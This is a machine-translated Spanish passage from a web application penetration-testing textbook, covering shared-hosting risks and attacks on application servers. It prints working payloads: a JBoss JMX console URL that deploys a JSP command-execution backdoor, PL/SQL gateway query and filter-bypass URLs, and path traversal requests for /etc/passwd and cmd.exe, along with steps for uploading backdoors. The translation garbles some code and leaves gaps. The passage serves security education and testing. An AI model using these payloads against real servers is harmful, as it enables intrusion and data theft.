La misma vulnerabilidad en un portal de back-end administrativo podría dar acceso a toda la
infraestructura de la empresa.
Sistemas Clonados
Muchas aplicaciones se basan en características del sistema operativo cuando utilizan la entropía
para generar números aleatorios. Las fuentes comunes están relacionadas con las características
del propio sistema, como el tiempo de actividad del sistema o la información sobre el hardware
del sistema. Si se clonan los sistemas, los atacantes que posean uno de los clones podrían
determinar las semillas utilizadas para la generación de números aleatorios, lo que a su vez
podría permitir predicciones más precisas sobre el estado de los generadores de números aleatorios.
funciones Como la mayoría de los campos nuevos, los proveedores de servicios en la nube promueven un
enfoque de prioridad en las funciones para atraer nuevos clientes. Desde una perspectiva empresarial, los
entornos de nube casi siempre se administran a través de una aplicación web de autoservicio. Los usuarios se dan
Machine Translated by Google
una amplia variedad de métodos fáciles de usar mediante los cuales pueden acceder a sus datos.
Por lo general, no se ofrece un mecanismo de exclusión para funciones.
Almacenamiento
web El almacenamiento web es una de las principales atracciones de la informática en la nube para el
usuario final. Para que sea eficaz, el almacenamiento web debe admitir un navegador estándar o una
extensión de navegador, una variedad de tecnologías y extensiones de HTTP, como WebDAV, y, a
menudo , credenciales en caché o basadas en tokens, como se mencionó anteriormente.
Otro problema es que un servidor web en un dominio a menudo es visible en Internet. Si un
usuario puede cargar HTML e inducir a otros usuarios a acceder a su archivo de carga, puede
comprometer a esos usuarios del mismo servicio. De manera similar, un atacante puede
aprovechar la política del mismo origen de Java y cargar un archivo JAR, obteniendo una
interacción bidireccional completa cada vez que se invoque ese archivo JAR en otro lugar de Internet.
deben diseñarse cuidadosamente en términos de acceso, segregación y confianza de los clientes. También
deben implementar controles que no sean directamente aplicables al contexto de una aplicación alojada en
un solo lugar.
Cualquiera que sea el mecanismo que se proporcione a los clientes para mantener el contenido bajo su
control, este debería proteger contra el acceso no autorizado por parte de terceros y de clientes
malintencionados:
n El mecanismo de acceso remoto debe implementar una autenticación robusta, utilizar tecnologías
criptográficas que no sean vulnerables a las escuchas ilegales y tener una seguridad totalmente
reforzada. n A los clientes individuales se les debe otorgar acceso en base al privilegio mínimo.
una cuenta con privilegios bajos que no puede acceder a datos u otros componentes
que pertenecen a otros clientes. n Si se utiliza una aplicación personalizada para
brindar acceso a los clientes, debe someterse a rigurosos requisitos de seguridad y
pruebas de acuerdo con su rol fundamental en la protección de la seguridad del
entorno compartido.
n La aplicación de cada cliente debe usar una cuenta de sistema operativo separada
para acceder al sistema de archivos que tiene acceso de lectura y escritura solo a
las rutas de archivo de esa aplicación.
n La capacidad de acceder a potentes funciones y comandos del sistema debe estar
restringida en el nivel del sistema operativo con privilegios mínimos. n Se debe
implementar la misma protección dentro de cualquier base de datos compartida.
Se debe usar una instancia de base de datos separada para cada cliente, y se
deben asignar cuentas con privilegios bajos a los clientes, con acceso solo a sus
propios datos.
Resumen
Los controles de seguridad implementados dentro de las arquitecturas de aplicaciones web
presentan una variedad de oportunidades para que los propietarios de aplicaciones mejoren la
postura de seguridad general de su implementación. Como consecuencia, los defectos y los
descuidos dentro de la arquitectura de una aplicación a menudo pueden permitirle escalar
drásticamente un ataque, moviéndose de un componente a otro para eventualmente comprometer
toda la aplicación.
Los entornos basados en ASP y alojamiento compartido presentan una nueva gama de
problemas de seguridad difíciles, que implican límites de confianza que no surgen dentro de una
única aplicación alojada. Cuando ataca una aplicación en un contexto compartido, un enfoque
clave de sus esfuerzos debe ser el propio entorno compartido. Debe intentar determinar si es
posible comprometer ese entorno desde una aplicación individual o aprovechar una aplicación
vulnerable para atacar a otras.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. Está atacando una aplicación que emplea dos servidores diferentes: un servidor de
aplicaciones y un servidor de bases de datos. Ha descubierto una capacidad vulnerable
que le permite ejecutar comandos arbitrarios del sistema operativo en el servidor de
aplicaciones. ¿Puede aprovechar esta vulnerabilidad para recuperar datos de aplicaciones
confidenciales que se encuentran en la base de datos?
2. En un caso diferente, ha descubierto una falla de inyección SQL que puede explotarse
para ejecutar comandos arbitrarios del sistema operativo en la base de datos.
Machine Translated by Google
CAPÍTULO R
18
atacando al
Servidor de aplicaciones
Al igual que con cualquier tipo de aplicación, una aplicación web depende de las otras capas de
la pila de tecnología que la respaldan, incluida la aplicación o el servidor web, el sistema operativo
y la infraestructura de red. Un atacante puede apuntar a cualquiera de estos componentes.
Comprometer la tecnología de la que depende una aplicación muy a menudo permite que un
atacante comprometa completamente la propia aplicación.
La mayoría de los ataques en esta categoría están fuera del alcance de un libro sobre cómo
atacar aplicaciones web. Una excepción a esto son los ataques que se dirigen a las capas de la
aplicación y del servidor web, así como a cualquier defensa relevante de la capa de la aplicación.
Las defensas en línea se emplean comúnmente para ayudar a proteger las aplicaciones web e identificar ataques.
Eludir estas defensas es un paso clave para comprometer la aplicación.
Hasta ahora no hemos hecho una distinción entre un servidor web y un servidor de
aplicaciones, porque los ataques tienen como objetivo la funcionalidad de la aplicación,
independientemente de cómo se proporcione. En realidad, gran parte de la capa de presentación,
la comunicación con los componentes de back-end y el marco de seguridad central pueden ser
administrados por el contenedor de la aplicación. Esto puede dar un alcance adicional a un
ataque. Claramente , cualquier vulnerabilidad en las tecnologías que ofrecen este marco será de
interés para un atacante si puede usarse para comprometer directamente la aplicación.
Este capítulo se centra en las formas de aprovechar los defectos en la capa del servidor de
aplicaciones desde una perspectiva de Internet para atacar la aplicación web que se ejecuta en ella.
Las vulnerabilidades que puede explotar para atacar a los servidores de aplicaciones se dividen
en dos grandes categorías: deficiencias en la configuración del servidor y fallas de seguridad en
el software del servidor de aplicaciones. Una lista de defectos no puede ser completa,
669
Machine Translated by Google
porque el software de este tipo puede cambiar con el tiempo. Pero las fallas descritas aquí
ilustran las trampas típicas que aguardan a cualquier aplicación que implemente sus
propias extensiones, módulos o API nativos, o que llegue fuera del contenedor de la aplicación.
Este capítulo también examina los firewalls de aplicaciones web, describe sus
fortalezas y debilidades y detalla las formas en que a menudo se pueden eludir
para lanzar ataques.
Incluso el más simple de los servidores web viene con una gran cantidad de opciones de
configuración que controlan su comportamiento. Históricamente, muchos servidores se han enviado
con opciones predeterminadas inseguras, que presentan oportunidades de ataque a menos que se
refuercen explícitamente.
Credenciales predeterminadas
Muchos servidores web contienen interfaces administrativas que pueden ser de acceso público .
Estos pueden estar ubicados en una ubicación específica dentro de la raíz web o pueden ejecutarse
en un puerto diferente, como 8080 o 8443. Con frecuencia, las interfaces administrativas tienen
credenciales predeterminadas que son bien conocidas y no es necesario cambiarlas durante la
instalación.
La tabla 18-1 muestra ejemplos de credenciales predeterminadas en algunas de las interfaces
administrativas más comunes.
administración (ninguno)
raíz raíz
administración administración
Servidor empresarial Netscape
administrador administrador
anónimo (ninguno)
operador operador
usuario publico
Además de las interfaces administrativas en los servidores web, numerosos dispositivos, como
conmutadores, impresoras y puntos de acceso inalámbrico, utilizan interfaces web que tienen
credenciales predeterminadas que pueden no haberse modificado. Los siguientes recursos
enumeran las credenciales predeterminadas para una gran cantidad de tecnologías diferentes:
n www.cirt.net/contraseñas
n www.phenoelit-us.org/dpl/dpl.html
PASOS DE HACK
2. Realice un escaneo de puertos del servidor web para identificar cualquier interfaz
administrativa que se ejecute en un puerto diferente al de la aplicación de destino principal.
Contenido predeterminado
La mayoría de los servidores de aplicaciones se envían con una gama de contenido y funcionalidad
predeterminados que puede aprovechar para atacar el servidor en sí o la aplicación de destino
principal. Aquí hay algunos ejemplos de contenido predeterminado que pueden ser de su interés:
poderosas que no están diseñadas para uso público pero que se dejan sin querer
accesible
n Manuales del servidor que pueden contener información útil específica de la propia
instalación
Funcionalidad de depuración
La funcionalidad diseñada para el uso de diagnóstico por parte de los administradores suele ser
de gran valor para un atacante. Puede contener información útil sobre la configuración y el estado
de tiempo de ejecución del servidor y las aplicaciones que se ejecutan en él.
Machine Translated by Google
Funcionalidad de muestra
n Muchas secuencias de comandos de muestra contienen vulnerabilidades de seguridad que se pueden explotar
secuencias de comandos entre sitios si un atacante simplemente incluye etiquetas de secuencias de comandos en la URL, como
como /test/jsp/dump.jsp?%3Cscript%3Ealert(%22xss%22)%3C/script%3E.
Un ejemplo del segundo problema es el script de ejemplo de sesiones que se incluye con
Apache Tomcat. Como se muestra en la Figura 18-2, esto se puede usar para obtener y
establecer variables de sesión arbitrarias. Si una aplicación que se ejecuta en el servidor
almacena datos confidenciales en la sesión de un usuario, un atacante puede ver esto y puede
interferir con el procesamiento de la aplicación modificando su valor.
Figura 18-2: El script de ejemplo de sesiones predeterminado enviado con Apache Tomcat
Funciones poderosas
Algunos software de servidor web contienen una potente funcionalidad que no está destinada a
ser utilizada por el público, pero a la que los usuarios finales pueden acceder a través de algún
medio. En muchos casos, los servidores de aplicaciones permiten que los archivos web
(archivos WAR ) se implementen en el mismo puerto HTTP que utiliza la propia aplicación, con
las credenciales administrativas correctas. Este proceso de implementación de un servidor de
aplicaciones es un objetivo principal para los piratas informáticos. Los marcos de explotación
comunes pueden automatizar el proceso de escanear las credenciales predeterminadas, cargar
un archivo web que contenga una puerta trasera y ejecutarlo para obtener un shell de comandos
en el sistema remoto, como se muestra en la Figura 18-3.
Machine Translated by Google
JMX
La consola JMX, instalada de manera predeterminada dentro de una instalación de JBoss, es
un ejemplo clásico de poderoso contenido predeterminado. La consola JMX se describe como
una " vista sin formato del micronúcleo del servidor de aplicaciones JBoss". De hecho, le
permite acceder directamente a cualquier Bean administrado dentro del servidor de aplicaciones
JBoss. Debido a la gran cantidad de funciones disponibles, se han informado numerosas
vulnerabilidades de seguridad . Entre los más fáciles de explotar está la capacidad de usar el
método store dentro de DeploymentFileRepository para crear un archivo war que contenga
una puerta trasera, como se muestra en la Figura 18-4.
Machine Translated by Google
Figura 18-4: La consola JMX contiene funciones que permiten implementar archivos WAR arbitrarios
Por ejemplo, la siguiente URL carga una página llamada cmdshell.jsp que contiene
una puerta trasera:
http://wahh-app.com:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=
jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=
store&argType=java.lang.String&arg0=cmdshell.war&argType= java.lang.String&arg1=cmdshell&argType=
java.lang.String&arg2= .jsp&argType=java.lang.String&arg3=%3C%25Runtime.getRuntime%28%29.exec
%28request.getParameter%28%22c%22%29%29%3B%25%3E%0A&argType=
booleano&arg4=Verdadero
Como se muestra en la Figura 18-5, esto crea con éxito una puerta trasera del lado del
servidor que ejecuta el siguiente código:
<%Runtime.getRuntime().exec(solicitud.getParameter(“c”));%>
Figura 18-5: Un ataque exitoso usando la consola JMX para implementar un archivo WAR de puerta
trasera en un servidor JBoss
Machine Translated by Google
http://wahh-app.com:8080/cmdshell/cmdshell.jsp?c=cmd%20/c%20ipconfig%3Ec:\foo
NOTA La solución a este problema fue restringir los métodos GET y POST solo a los
administradores. Esto se omitió fácilmente simplemente emitiendo la solicitud que se
acaba de mostrar usando el método HEAD. (Los detalles se pueden encontrar en
www.securityfocus .com/bid/39710/.) Al igual que con cualquier vulnerabilidad basada
en configuración, herramientas como Metasploit pueden explotar estas diversas
vulnerabilidades JMX con un alto grado de confiabilidad.
Aplicaciones Oracle
El ejemplo perdurable de la poderosa funcionalidad predeterminada surge en la puerta de enlace PL/SQL
implementada por Oracle Application Server y se puede ver en otros productos de Oracle, como E-Business
Suite. La puerta de enlace PL/SQL proporciona una interfaz a través de la cual las solicitudes web se transmiten
a una base de datos Oracle de back-end.
Los parámetros arbitrarios se pueden pasar a los procedimientos de la base de datos utilizando direcciones
URL como la siguiente:
https://wahh-app.com/pls/dad/package.procedure?param1=foo¶m2=bar
Esta funcionalidad está destinada a proporcionar un medio listo para convertir la lógica empresarial
implementada dentro de una base de datos en una aplicación web fácil de usar. Sin embargo, debido a que un
atacante puede especificar un procedimiento arbitrario, puede explotar la puerta de enlace PL/SQL para
acceder a funciones poderosas dentro de la base de datos. Por ejemplo, el procedimiento
SYS.OWA_UTIL.CELLSPRINT se puede usar para ejecutar consultas de bases de datos arbitrarias y, por lo
tanto, recuperar datos confidenciales:
https://wahh-app.com/pls/dad/SYS.OWA_UTIL.CELLSPRINT?P_THEQUERY=SELECT+
*+DE+usuarios
Para evitar ataques de este tipo, Oracle introdujo un fi ltro denominado Lista de exclusión PL/SQL. Esto
verifica el nombre del paquete al que se accede y bloquea los intentos de acceder a cualquier paquete cuyos
nombres comiencen con las siguientes expresiones:
SIS.
DBMS_
UTL_
Machine Translated by Google
OWA_
OWA.
HTP.
HTF.
Este fi ltro fue diseñado para bloquear el acceso a la poderosa funcionalidad predeterminada
dentro de la base de datos. Sin embargo, la lista estaba incompleta y no bloqueaba el acceso
a otros poderosos procedimientos predeterminados propiedad de cuentas DBA como CTXSYS
y MDSYS. Otros problemas se asociaron con la lista de exclusión de PL/SQL, como se
describe más adelante en este capítulo.
Por supuesto, el propósito de la puerta de enlace PL/SQL es alojar paquetes y procedimientos
específicos, y desde entonces se ha encontrado que muchos de los valores predeterminados
contienen vulnerabilidades. En 2009, los paquetes predeterminados que forman parte de E-
Business Suite demostraron contener varias vulnerabilidades, incluida la capacidad de editar
páginas arbitrarias. Los investigadores dan el ejemplo del uso de icx_define_pages .DispPageDialog
para inyectar HTML en la página de inicio del administrador, ejecutando un ataque de
secuencias de comandos entre sitios almacenado:
/pls/dad/icx_define_pages.DispPageDialog?p_mode=RENAME&p_page_id=[page_id]
PASOS DE HACK
1. Las herramientas como Nikto son efectivas para localizar gran parte del contenido web predeterminado.
Los ejercicios de asignación de aplicaciones descritos en el Capítulo 4 deberían haber
identificado la mayoría del contenido predeterminado presente en el servidor al que se dirige.
Listados de directorios
Cuando un servidor web recibe una solicitud de un directorio, en lugar de un archivo real,
puede responder de una de estas tres formas:
n Puede devolver una lista que muestre el contenido del directorio, como se muestra
en la figura 18-6.
Machine Translated by Google
menudo se dejan sin querer dentro de la raíz web de los servidores, como registros, archivos
de copia de seguridad y versiones antiguas de scripts.
En ambos casos, la vulnerabilidad real radica en otra parte, en la falta de control del acceso a
datos confidenciales. Pero dado que estas vulnerabilidades son extremadamente frecuentes y que
los nombres de los recursos inseguros pueden ser difíciles de adivinar, la disponibilidad de listas
de directorios suele ser de gran valor para un atacante y puede conducir rápidamente a un
compromiso completo de una aplicación.
Machine Translated by Google
PASOS DE HACK
NOTA Además del caso anterior, donde las listas de directorios están disponibles
directamente, se han descubierto vulnerabilidades dentro del software del servidor
web que pueden explotarse para obtener una lista de directorios. Algunos ejemplos
de estos se describen más adelante en este capítulo.
Métodos WebDAV
WebDAV es un término dado a una colección de métodos HTTP utilizados para la creación y el control de
versiones distribuidos basados en la web. Estos han estado ampliamente disponibles desde 1996. Se han
adoptado más recientemente en aplicaciones de colaboración y almacenamiento en la nube, donde se
necesita acceder a los datos del usuario a través de sistemas que utilizan un protocolo compatible con
cortafuegos existente, como HTTP. Como se describe en el Capítulo 3, las solicitudes HTTP pueden usar
una variedad de métodos además de los métodos estándar GET y POST . WebDAV agrega muchos otros
que se pueden usar para manipular archivos en el servidor web. Dada la naturaleza de la funcionalidad, si
estos son accesibles para usuarios con pocos privilegios, pueden proporcionar una vía efectiva para atacar
una aplicación. Aquí hay algunos métodos para buscar:
recupera información sobre el recurso especificado, como autor, tamaño y tipo de contenido.
Puede usar el método OPCIONES para enumerar los métodos HTTP que están permitidos
en un directorio particular:
Servidor: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET MS-Autor-
Via: MS-FP/4.0,DAV
Esta respuesta indica que, de hecho, se permiten varios de los poderosos métodos
enumerados anteriormente . Sin embargo, en la práctica, estos pueden requerir autenticación
o estar sujetos a otras restricciones.
El método PUT es particularmente peligroso. Si carga archivos arbitrarios dentro de la
raíz web, el primer objetivo es crear un script de puerta trasera en el servidor que será
ejecutado por un módulo del lado del servidor, lo que otorga al atacante el control total
de la aplicación y, a menudo, del servidor web. sí mismo. Si el método PUT parece estar
presente y habilitado, puede verificarlo de la siguiente manera:
prueba
Tenga en cuenta que es probable que los permisos se implementen por directorio, por lo que se
requiere una verificación recursiva en un ataque. Las herramientas como DAVTest, que se muestra a
continuación, se pueden usar para verificar iterativamente todos los directorios en el servidor para el
método PUT y determinar qué extensiones de archivo están permitidas. Para eludir las restricciones
sobre el uso de PUT para cargar scripts de puerta trasera, la herramienta también intenta usar PUT
seguido del método MOVE :
¡INTENTALO!
http://mdsec.net/public/
SUGERENCIA Para las instancias de WebDAV donde los usuarios finales pueden cargar
archivos, es relativamente común que se prohíba la carga de extensiones de lenguaje de
secuencias de comandos del lado del servidor específicas para el entorno de ese servidor.
La capacidad de cargar archivos HTML o JAR es mucho más probable, y ambos permiten
realizar ataques contra otros usuarios (consulte los Capítulos 12 y 13).
PASOS DE HACK
Para probar el manejo del servidor de diferentes métodos HTTP, deberá usar una
herramienta como Burp Repeater, que le permite enviar una solicitud arbitraria con control
total sobre los encabezados y el cuerpo del mensaje.
1. Utilice el método OPTIONS para enumerar los métodos HTTP que el servidor indica
que están disponibles. Tenga en cuenta que se pueden habilitar diferentes métodos
en diferentes directorios.
3. Si encuentra que algunos métodos WebDAV están habilitados, a menudo es más fácil
usar un cliente habilitado para WebDAV para una mayor investigación, como
Microsoft FrontPage o la opción Abrir como carpeta web dentro de Internet Explorer.
una. Intente utilizar el método PUT para cargar un archivo benigno, como un
Archivo de texto.
b. Si esto tiene éxito, intente cargar un script de puerta trasera usando PUT.
d. Si alguno de los métodos anteriores falla, intente cargar un archivo JAR o un archivo
con contenidos que un navegador representará como HTML.
mi. Recorra recursivamente todos los directorios utilizando una herramienta como
davtest.pl.
Machine Translated by Google
n Un atacante puede ser capaz de usar el servidor para atacar sistemas de terceros en Internet, y el
tráfico malicioso le parece al objetivo que se origina en el servidor proxy vulnerable. n Un atacante
puede usar el proxy para conectarse a hosts arbitrarios en la red interna de la organización,
alcanzando así objetivos a los que no se puede acceder directamente desde Internet.
n Un atacante puede usar el proxy para volver a conectarse a otros servicios que se ejecutan en el
propio host del proxy, eludiendo las restricciones del cortafuegos y explotando potencialmente las
relaciones de confianza para eludir la autenticación.
Puede usar dos técnicas principales para hacer que un proxy de reenvío realice conexiones posteriores.
Primero, puede enviar una solicitud HTTP que contenga una URL completa que incluya un nombre de
host y (opcionalmente) un número de puerto:
Si el servidor se configuró para reenviar solicitudes al host especificado, devuelve contenido de ese
host. Sin embargo, asegúrese de verificar que el contenido devuelto no sea del servidor original. La
mayoría de los servidores web aceptan solicitudes que contienen URL completas, y muchos simplemente
ignoran la parte del host y devuelven el recurso solicitado desde su propia raíz web.
Si el servidor responde de esta manera, está haciendo proxy de su conexión. Esta segunda técnica
suele ser más poderosa porque el servidor proxy ahora simplemente reenvía todo el tráfico enviado hacia
y desde el host especificado. Esto le permite tunelizar otros protocolos a través de la conexión y atacar
servicios no basados en HTTP. Sin embargo, la mayoría de los servidores proxy imponen restricciones
estrechas sobre los puertos a los que se puede acceder a través del método CONNECT y, por lo general,
solo permiten conexiones al puerto 443.
Las técnicas disponibles para explotar este ataque se describen en Servidor
Redirección HTTP lateral (Capítulo 10).
Machine Translated by Google
PASOS DE HACK
1. Con las solicitudes GET y CONNECT, intente usar el servidor web como un proxy para
conectarse a otros servidores en Internet y recuperar contenido de ellos.
3. Con ambas técnicas, intente conectarse a números de puerto comunes en el propio servidor web
especificando 127.0.0.1 como host de destino en la solicitud.
Además de la directiva DocumentRoot , los contenedores de host virtual se pueden usar para
especificar otras opciones de configuración para el sitio web en cuestión. Un error de
configuración común es pasar por alto el host predeterminado para que cualquier configuración
de seguridad se aplique solo a un host virtual y se pueda omitir cuando se accede al host predeterminado.
PASOS DE HACK
n Cambie las credenciales predeterminadas, incluidos los nombres de usuario y las contraseñas
si es posible. Elimine las cuentas predeterminadas que no sean necesarias. n Bloquee el
acceso público a las interfaces administrativas, ya sea colocando ACL en las rutas relevantes
dentro de la raíz web o bloqueando el acceso a puertos no estándar.
n Consulte todos los directorios web para ver las listas de directorios. Siempre que sea posible,
deshabilite las listas de directorios en una configuración de todo el servidor. También puede
asegurarse de que cada directorio contenga un archivo como index.html, que el servidor está
configurado para servir de manera predeterminada. n Deshabilite todos los métodos que no
su servidor web es compatible con alojamiento virtual, asegúrese de que cualquier refuerzo
de seguridad aplicado se aplique en el host predeterminado. Realice las pruebas descritas
anteriormente para verificar que así sea.
Los productos de servidores web van desde software extremadamente simple y liviano que
hace poco más que servir páginas estáticas hasta plataformas de aplicaciones altamente
complejas que pueden manejar una variedad de tareas, proporcionando potencialmente
todo menos la lógica comercial en sí. En el último ejemplo, es común desarrollar sobre la suposición
Machine Translated by Google
que este marco es seguro. Históricamente, el software del servidor web ha estado sujeto a
una amplia gama de vulnerabilidades de seguridad graves, que han resultado en la ejecución
de código arbitrario, la divulgación de archivos y la escalada de privilegios. A lo largo de los
años, las principales plataformas de servidores web se han vuelto cada vez más sólidas. En
muchos casos, la funcionalidad central ha permanecido estática o incluso se ha reducido
debido a que los proveedores han reducido deliberadamente la superficie de ataque
predeterminada. A pesar de que estas vulnerabilidades han disminuido, los principios
subyacentes siguen siendo válidos. En la primera edición de este libro, dimos ejemplos de
dónde el software de servidor es más susceptible a las vulnerabilidades. Desde esa primera
edición, se han informado nuevas instancias en cada categoría, a menudo en una tecnología
paralela o un producto de servidor. Dejando de lado algunos de los servidores web personales
más pequeños y otros objetivos menores, estas nuevas vulnerabilidades generalmente han surgido en lo siguiente
2. Rellene el mensaje, utilizando el número necesario de bytes de relleno como valor de bytes
de relleno.
A partir de ahí, los pasos de encriptación del resto del mensaje son recursivos.
(Este es el proceso de encadenamiento de bloques de cifrado (CBC) descrito en el Capítulo
7): 5. XOR el segundo bloque de texto sin formato con el bloque anterior cifrado.
Oracle Vulnerable de .NET hasta septiembre de 2010 contenían una falla aparentemente pequeña
en la divulgación de información. Si se encontrara un relleno incorrecto en el mensaje, la aplicación
informaría un error, lo que daría como resultado un código de respuesta HTTP 500 para el usuario.
Usando los comportamientos del algoritmo de relleno PKCS #5 y CBC juntos, todo el mecanismo de
seguridad de .NET podría verse comprometido. Así es cómo.
Tenga en cuenta que, para que sean válidas, todas las cadenas de texto sin formato
deben incluir al menos un byte de relleno. Además, tenga en cuenta que el primer bloque
de texto cifrado que ve es el vector de inicialización, que no tiene otro propósito que XOR
contra el valor de texto sin formato del primer bloque cifrado del mensaje. Para el ataque,
el atacante proporciona una cadena que contiene solo los dos primeros bloques de texto
cifrado a la aplicación . Estos dos bloques son el IV, seguido del primer bloque de texto cifrado.
El atacante proporciona un IV que contiene solo ceros y luego realiza una serie de solicitudes,
incrementando secuencialmente el último byte del IV. Este último byte es XOR con el último byte en
el texto cifrado y, a menos que el valor resultante para este último byte sea 0x01, ¡el algoritmo
criptográfico arroja un error! (Recuerde que el valor de texto claro de cualquier cadena debe terminar
en uno o más valores de relleno.
Debido a que no hay ningún otro relleno presente en el primer bloque de texto cifrado, el último valor
debe descifrarse como 0x01).
Un atacante puede aprovechar esta condición de error: eventualmente alcanzará el valor que,
cuando se realiza una operación XOR con el último byte del bloque de texto cifrado, da como resultado 0x01.
En este punto se puede determinar el valor de texto claro del último byte y , porque:
x XOR y = 0x01
Mensajes de error interno del servidor hasta que el penúltimo byte descifrado sea
0x02. En este punto, hay dos bytes 0x02 al final del mensaje, lo que equivale a un
relleno válido, y no se devuelve ningún error. Luego, este proceso se puede aplicar
recursivamente en todos los bits del bloque de destino y luego en el siguiente bloque
de texto cifrado, a través de todos los bloques del mensaje.
De esta forma, un atacante puede descifrar todo el mensaje. Curiosamente, el mismo
mecanismo permite al atacante cifrar un mensaje. Una vez que haya recuperado una
cadena de texto sin formato, puede modificar el IV para producir la cadena de texto sin
formato de su elección. Uno de los mejores objetivos es ScriptResource.axd. El
argumento d de ScriptResource es un nombre de archivo cifrado. Un atacante que elige
un nombre de archivo de web.config recibe el archivo real, porque ASP.NET pasa por
alto las restricciones normales impuestas por IIS al entregar el archivo. Por ejemplo:
https://mdsec.net/ScriptResource.axd?d=SbXSD3uTnhYsK4gMD8fL84_mHPC5jJ7lf
dnr1_WtsftZiUOZ6IXYG8QCXW86UizF0&t=632768953157700078
NOTA Este ataque se aplica de manera más general a cualquier cifrado CBC que utilice
el relleno PKCS #5. Originalmente se discutió en 2002, aunque .NET es un objetivo
principal porque usa este tipo de relleno para tokens de sesión, ViewState y
ScriptResource.axd. El documento original se puede encontrar en www.iacr.org/archive/
eurocrypt2002/23320530/cbc02_e02d.pdf.
¡INTENTALO!
http://mdsec.net/private/
Las versiones 4 y 5 de Microsoft IIS contenían una variedad de extensiones ISAPI que
estaban habilitadas de forma predeterminada. Se descubrió que varios de estos contenían
desbordamientos de búfer, como la extensión del Protocolo de impresión de Internet y la
extensión del servidor de índices, ambas descubiertas en 2001. Estas fallas permitieron a
un atacante ejecutar código arbitrario dentro del contexto del sistema local, por lo que
comprometer toda la computadora. Estas fallas también permitieron que los gusanos Nimda
y Code Red se propagaran y comenzaran a circular. Los siguientes boletines de Microsoft
TechNet detallan estas fallas:
n www.microsoft.com/technet/security/bulletin/MS01-023.mspx
n www.microsoft.com/technet/security/bulletin/MS01-033.mspx
Se encontró otra falla en el servicio IPP en 2008. Esta vez, la mayoría de las versiones
implementadas de IIS en Windows 2003 y 2008 no fueron inmediatamente vulnerables
porque la extensión está deshabilitada de manera predeterminada. El aviso publicado por
Microsoft se puede encontrar en www.microsoft.com/technet/security/bulletin/
ms08-062.mspx.
Desbordamientos de WebDAV
Codificación y Canonicalización
Como se describe en el Capítulo 3, existen varios esquemas que permiten codificar
caracteres especiales y contenido para una transmisión segura a través de HTTP. Ya ha
visto, en el contexto de varios tipos de vulnerabilidades de aplicaciones web, cómo un
atacante puede aprovechar estos esquemas para evadir las comprobaciones de validación
de entrada y realizar otros ataques.
Han surgido fallas de codificación en muchos tipos de software de servidor de aplicaciones.
Presentan una amenaza inherente en situaciones en las que los mismos datos
proporcionados por el usuario son procesados por varias capas utilizando diferentes
tecnologías. Una solicitud web típica puede ser manejada por el servidor web, la plataforma
de la aplicación, varias API administradas y no administradas, otros componentes de
software y el sistema operativo subyacente. Si diferentes componentes manejan un
esquema de codificación de diferentes maneras, o realizan decodificación adicional o
interpretación de datos que ya han sido parcialmente procesados, este hecho a menudo
se puede explotar para eludir filtros o causar otro comportamiento anómalo.
El cruce de rutas es una de las vulnerabilidades más frecuentes que se pueden explotar
a través de una falla de canonicalización porque siempre involucra la comunicación con el
sistema operativo. El Capítulo 10 describe cómo pueden surgir vulnerabilidades de cruce
de rutas en las aplicaciones web. Los mismos tipos de problemas también han surgido en
numerosos tipos de software de servidor web, lo que permite a un atacante leer o escribir
archivos arbitrarios fuera de la raíz web.
Machine Translated by Google
http://idisk.mac.com/Jeremy.richards-Public/%2E%2E%2FPRIVATE.txt?disposition=
descargar+8300
Una ventaja adicional fue que se podía emitir primero una solicitud WebDAV PROPFIND
para enumerar el contenido del iDisk:
POST /Jeremy.richards-Public/<strong>%2E%2E%2F/<strong>?webdav-method=
PROFINIR
...
WEBrick es un servidor web proporcionado como parte de Ruby. Se encontró que era
vulnerable a una falla transversal simple de esta forma:
http://[servidor]:[puerto]/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot .ini
Esta falla en el recorrido de la ruta aprovechó el hecho de que la JVM no descodificó UTF-8.
Los servidores web escritos en Java y que usaban versiones vulnerables de JVM incluían
Tomcat, y el contenido arbitrario se podía recuperar usando secuencias ../ codificadas en UTF-8:
http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
En 2001, se encontró una vulnerabilidad en Allaire JRun que permitía a un atacante recuperar
listados de directorios incluso en directorios que contenían un archivo predeterminado como
index.html. Se puede recuperar una lista utilizando URL de la siguiente forma:
https://wahh-app.com/dir/%3f.jsp
Machine Translated by Google
En 2009, se anunció una vulnerabilidad similar de mucho menor riesgo en Jetty relacionada con el cruce
de directorios en situaciones en las que el nombre de un directorio terminaba en un signo de interrogación.
La solución fue codificar el ? como %3f. Los detalles se pueden encontrar en https://www.kb.cert.org/vuls/
id/402580.
https://wahh-app.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd .exe?/c+dir+c:
\
https://wahh-app.com/scripts/..%255c..%255c..%255c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/
c+dir+c: \
Machine Translated by Google
n www.microsoft.com/technet/security/bulletin/MS00-078.mspx
n www.microsoft.com/technet/security/bulletin/MS01-026.mspx
Anfitrión: wahh-app.net
El encabezado Translate: f garantiza que esta solicitud sea manejada por la extensión
WebDAV. El mismo ataque se puede llevar a cabo directamente dentro de una solicitud
WebDAV usando lo siguiente:
Profundidad: 1
Longitud del contenido: 288 Tipo
de contenido: aplicación/xml <?xml version=”1.0”
encoding=”utf-8”?> <propfind xmlns=”DAV:”><prop>
que bloquea el acceso a paquetes cuyos nombres comienzan con ciertas expresiones, como OWA
y SYS.
Entre 2001 y 2007, David Litchfield descubrió una serie de omisiones en la lista de exclusión de
PL/SQL. En la primera vulnerabilidad, el filtro se puede omitir colocando
espacios en blanco (como una nueva línea, un espacio o una tabulación) antes del nombre del paquete:
https://wahh-app.com/pls/dad/%0ASYS.package.procedure
Esto pasa por alto el fi ltro y la base de datos de back-end ignora el espacio en blanco,
haciendo que se ejecute el paquete peligroso.
En la segunda vulnerabilidad, el fi ltro se puede omitir reemplazando la letra
Y con %FF, que representa el carácter ÿ:
